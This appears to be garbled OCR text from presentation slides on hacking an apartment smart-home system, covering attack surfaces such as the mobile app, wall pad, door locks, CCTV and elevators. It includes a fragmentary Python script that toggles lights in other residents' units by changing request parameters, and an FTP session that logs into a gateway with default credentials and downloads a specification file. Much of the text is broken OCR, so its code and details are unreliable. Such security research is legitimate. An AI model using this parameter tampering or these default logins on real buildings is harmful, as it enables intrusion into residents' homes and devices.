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ASmart Home Hacking?

AAttack Surfaces
AAnalyzing each of surfaces

ADemo Video






User Interface
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Controllable in app
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Controllable in wall pad

ADoorlock

AMain entrance
AParking entrance gate
ACCTV

AElevator

ACamera of wallpad

AAIl the functions



Service Structure
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Mobile app data flow
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Wall pad data flow
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Wall pad data flow
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Network Structure
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Mobile app data flow
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Wall pad data flow
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Wall pad data flow
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Attack Surfaces
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Attack Surfaces
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Mobile app

Security Asset
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Attack Surfaces
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Attack Surfaces
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Security Asset

A PMS » —(Patch Management System)
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Attack Surfaces
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Wall pad

Security Asset
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Mobile app

AWeb view
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Mobile app
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Mobile app

<string

<string

<string

<string

<string
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<string

<string

<string
<string

<string

name~"

name="

p<fstring>
p</string>
</string>
</stringd
</string>
eteliwallpadAuthCall </string>

p</string>
s
</string>

>
</string>

| ew </string>

>
etSa uIJ.l.;',</str1ngﬂ

>
etDeleteCall (‘I-_[r-ins>

t aveCal </Jstring>
p</steing>
</string>
</etring>
all.php</string>

</string>

/mobile2

/mobile

YES

NO




Mobile app

requests
time
pwn
URL = "http:/
PARAMETER

PARAMETER)
PARAMETER|[ ‘onoff"* A (i
log.failure( PARAMETER[ "hh_dong"] T PARAMETER[ "hh_ho*] +" Light OFF")
time.sleep(3)
requests.get(URL, params-PARAMETER)

[*hh _dong'] + ™ - ™ + PARAMETER['hh_ho'] +" Light ON")
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Network analysis
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Network analysis
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Network analysis

101010010

Man 10,100.10,100

101002010
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Network analysis

220-FileZilla Server version 90.9.41 beta
220-wr1tten by Tim Kosse (Tim.Kosse@gmx.de)
by http://sourceforge.net/projects/filezilla/

> FTPAE

USER gateway
331 Password reqps
PASS gateway

PWD

257 “/" is current directory.

CWD spec

250 CWD successful. "/spec" is current directory.
EPSV

229 Entering Extended Passive Mode (|]|53750]|)
TYPE 1

SRS »
[ A ™3 S a3

SIZE specification.xml ~
213 23236
RETR specification.xml

R YR =YV V-Vt BVT. - VoF 7 V-5 -Y. S—
226 Transfer 0K
QUIT
221 Goodbye
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Network analysis




